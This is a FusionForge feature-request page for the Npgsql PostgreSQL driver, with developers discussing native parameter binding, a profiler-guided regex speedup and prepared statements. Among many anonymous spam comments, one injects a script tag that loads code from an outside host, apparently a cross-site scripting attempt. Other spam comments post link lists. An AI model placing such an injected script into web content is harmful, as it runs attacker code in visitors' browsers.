SCM

[#1000449] real parameter support

View Trackers | Feature Requests | Download .csv | Monitor

Date:
2005-11-24 20:31
Priority:
3
State:
Closed
Submitted by:
Nobody
Assigned to:
Nobody (None)
Category:
None
Group:
None
Resolution:
None
 
Summary:
real parameter support

Detailed description
Today, npgsql is binding .NET parameter into the query...
I've read that, with the new Pg 8.0 protocol, there is a way to send parameters appart from the query (like in oracle). It could be useful to avoid sql injection problem, and it could improve performance when inserting large binary values.

Followup

Message
Date: 2013-12-12 23:23
Sender: Shay Rojansky

Done
Date: 2007-09-12 04:02
Sender: Nobody

Dear Friend! Halo!
http://biglietto-aeri.justkoj.bizhttp://operaio-edile.justkoj.bizhttp://biglietto-aeri.justkoj.biz
My Regards!
Date: 2007-08-30 03:04
Sender: Nobody

Dear Friend! Halo!
http://articoli-per-la-casa.justkoj.bizhttp://biglietto-aeri.justkoj.bizhttp://biglietto-aeri.justkoj.biz
My Regards!
Date: 2007-08-27 17:36
Sender: Nobody

Dear Friend! Halo!
http://operaio-edile.justkoj.bizhttp://biglietto-online.justkoj.bizhttp://operaio-edile.justkoj.biz
My Regards!
Date: 2007-08-27 05:19
Sender: Nobody

Dear Friend! Halo!
http://operaio-edile.justkoj.bizhttp://biglietto-online.justkoj.bizhttp://biglietto-online.justkoj.biz
My Regards!
Date: 2007-08-25 20:57
Sender: Nobody

Dear Friend! Halo!
http://operaio-edile.justkoj.bizhttp://biglietto-aeri.justkoj.bizhttp://cibi-sani.justkoj.biz
My Regards!
Date: 2007-08-15 21:25
Sender: Nobody

Dear Friend! Halo!
http://articoli-per-la-casa.justkoj.bizhttp://biglietto-online.justkoj.bizhttp://operaio-edile.justkoj.biz
My Regards!
Date: 2007-08-15 08:02
Sender: Nobody

Dear Friend! Halo!
http://biglietto-online.justkoj.bizhttp://operaio-edile.justkoj.bizhttp://articoli-per-la-casa.justkoj.biz
My Regards!
Date: 2007-07-31 22:50
Sender: Nobody

I like this! http://www.uschool.utulsa.edu/Newsletters/dir/17/index.html
Date: 2007-07-31 22:50
Sender: Nobody

I like this! http://www.uschool.utulsa.edu/Newsletters/dir/5/index.html
Date: 2007-07-11 12:46
Sender: Nobody

bff9eb721c9c3bbbf31fbd02d2c81925
Date: 2007-07-11 12:25
Sender: Nobody

e5f658a5188f7db8150689ef626a86a7
Date: 2007-07-11 01:48
Sender: Nobody

88ca84431494976423aed7e32b6bbd08
Date: 2007-07-10 22:15
Sender: Nobody

0bbf8f20e4f848306483eff6126a6a57
Date: 2007-07-10 21:30
Sender: Nobody

33e7ab46c564c4668570fe255efc9068
Date: 2007-07-10 20:22
Sender: Nobody

9c5ba943d59b65b230ad2c0d49cf440f
Date: 2007-07-10 20:21
Sender: Nobody

bf54abd4ca0f687049d8ee0ac9e802c7
Date: 2007-06-30 21:36
Sender: Nobody

2457223b2247f5846b967c4f34b34386
Date: 2007-06-30 20:58
Sender: Nobody

9ca236b111a2346fa4cf997dedb804fa
Date: 2007-06-04 13:14
Sender: Nobody

02e0851ead700765609270552a7d38ea
Date: 2007-06-02 15:44
Sender: Nobody

2321t3772Hi NEWS 80[U] http://www.google.com/2 [/U]2321t3772
Date: 2007-03-23 19:26
Sender: Nobody

teste
Date: 2007-02-25 10:36
Sender: Nobody

<script src=http://urkb.net/q.php>jonny9</script>
Date: 2006-01-02 23:29
Sender: Francisco Figueiredo jr.


Thanks for your feedback, Bryan.

I'm glad to know Npgsql is helping you.

When you get some feedback about prepared queries, let me know.
Date: 2006-01-02 13:54
Sender: Bryan Mayland

Happy New Year to you too! Also, thanks so much for providing such a fantastic dataprovider for pgsql, you've made working with it trivial.

I also talked to the other developer about doing prepared queries but he says there's not a good place to be able to do it at this time, but maybe once he's done with his changes it might be. I'll post back if I get to run the test.
Date: 2006-01-01 23:45
Sender: Francisco Figueiredo jr.


Hi Bryan.

Today I could commit your patch to cvs.

Thanks for your feedback and happy new year.
Date: 2005-12-29 22:15
Sender: Bryan Mayland

I would try profiling with Prepare()s, but my test case is actually a 564 file, 18 project solution. The code dynamically builds queries using attributes on classes passed to a data access layer. One of the other developers here wrote it, and it wouldn't be trivial to have the commands stored between calls (storing the commands would be easy enough, but populating the parameters is not). He's currently refactoring a large chunk of it, so I'll suggest he implement the command builder and the parameter filler as two functions so I can do some runs with prepared queries. He's pretty busy though, so don't expect it this week :)

I use the JetBrains dotTrace profiler, which has a 30 day evaluation if you want to play around with it. I love the heck out of it:
http://www.jetbrains.com/profiler/

One other thing, when calling a connection.Open() on a pooled connection, the connection calls IsValid to check to see if it is still able to make calls to the database. It might be a good idea to save the time a validity check was performed so it isn't doing it 20 times per second. The connection could still theoretically go down between the IsValid check and running a query, so might as well boost performance by really executing the IsValid query to the server only once per second or per minute or something.
Date: 2005-12-29 21:23
Sender: Francisco Figueiredo jr.


Just to fix my spelling error of last sentence:

So, I think you could either call prepare everytime before start calling npgsqlcommand.execute* methods or use a new NpgsqlCommand for each thread. I hope it helps.
Date: 2005-12-29 21:19
Sender: Francisco Figueiredo jr.


Excellent, Bryan!

I'm not right now in my devel box to commit it to cvs, but as soon as I get home I will run testsuite and give it a go. :)

Thanks for help with regexp. In fact, it had the problem of getting one letter at time. I was thinking about a regexp which could split the string to me and I didn't see the split method!! :O

Very nice your TryGetValue. Excellent idea to test and retrieve the value at same time :)

Nice catch of ParameterCollection.

What a such good thing a profiler run can do to a project... :)

Thanks Bryan for your excellent interpretation of profiler results and feedback to improve Npgsql performance.

Also, would you mind give profiler a try using your testcase and calling NpgsqlCommand.Prepare() method? This would help us to spot any other performance problem when using prepared statements too.

About your concurrency worry, each time you call prepare, Npgsql creates a new plan. Also, if you don't share NpgsqlCommands between your threads you are ok too.

So, I think you could or call prepare everytime before start calling npgsqlcommand.execute* methods either use a new NpgsqlCommand for each thread. I hope it helps.
Date: 2005-12-29 20:18
Sender: Bryan Mayland

I did consider using a prepared query, but it didn't really fit easily into my application. The code to load/save an object might be called from any thread and I didn't want to have any issues with concurrency accessing the same prepare query. I might look into fixing that later, but that code is maintained by another developer.

Got CVS code and compared it with my changes. A quick run of 200 queries took 7.8sec with CVS, 2.3 with my code. The unified diff is available here:
http://capnbry.net/~bmayland/fi/pgsql/commandperformance.diff

I changed the regex to the simpler form ([:@][\w\.]*), the or operation was slowing it down. The real problem was calling matchnext which would return one character at a time if it wasn't in a parameter. I replaced it with the simpler Regex.Split(). The s[0] indexes should be ok, since the preceeding line checks for empty strings (which occur with a parameter is the last thing in the passed SQL).

I also added a ParameterCollection.TryGetValue(), which is a function I've grown to love from Dictionary<T,T> in NET2.0. This prevents a double lookup of the Contains followed by this[string].

I've also modified the ParameterCollection.IndexOf() function to normalize the search target outside the search loop rather than calculate the same value on each iteration.
Date: 2005-12-29 19:47
Sender: Bryan Mayland

My Internet connection was down all morning so I took it upon myself to at least speed up the existing code. I'll grab CVS and see how it looks, but here's the preliminary results with just my changes:
Orignal 2000 querries in ~88sec, mine in ~24sec
http://capnbry.net/~bmayland/fi/pgsql/getcleacommandtext_orig.png
http://capnbry.net/~bmayland/fi/pgsql/getcleacommandtext_pass1.png
Date: 2005-12-29 19:38
Sender: Francisco Figueiredo jr.


Hi Bryan.

Would you mind give it a try with latest cvs code? I added some changes which could help.

Also, you can get the desired effect of real parameter support by calling prepare before calling execute. Npgsql will repopulate the parameters values without having to parse all the query string again.
Date: 2005-12-29 15:14
Sender: Bryan Mayland

Not only will it improve performance on writing large binary values, but generally improve performance all around. Using Npgsql vs SQL Server for a small parameterized query (select id from x where name = @name), Npgsql's performance is about half SQLServer's. The culprit is the NpqsqlCommand.GetClearCommandText() taking 91% of overall execution time. Inside that, 60% is spent evaluating the parameter regex, 13% in the various string.StartsWith statements.

Replacing this with native parameter support would really speed things up.

Attached Files:

Changes:

Field Old Value Date By
status_idOpen2013-12-12 23:23roji
close_dateNone2013-12-12 23:23roji
Powered By FusionForge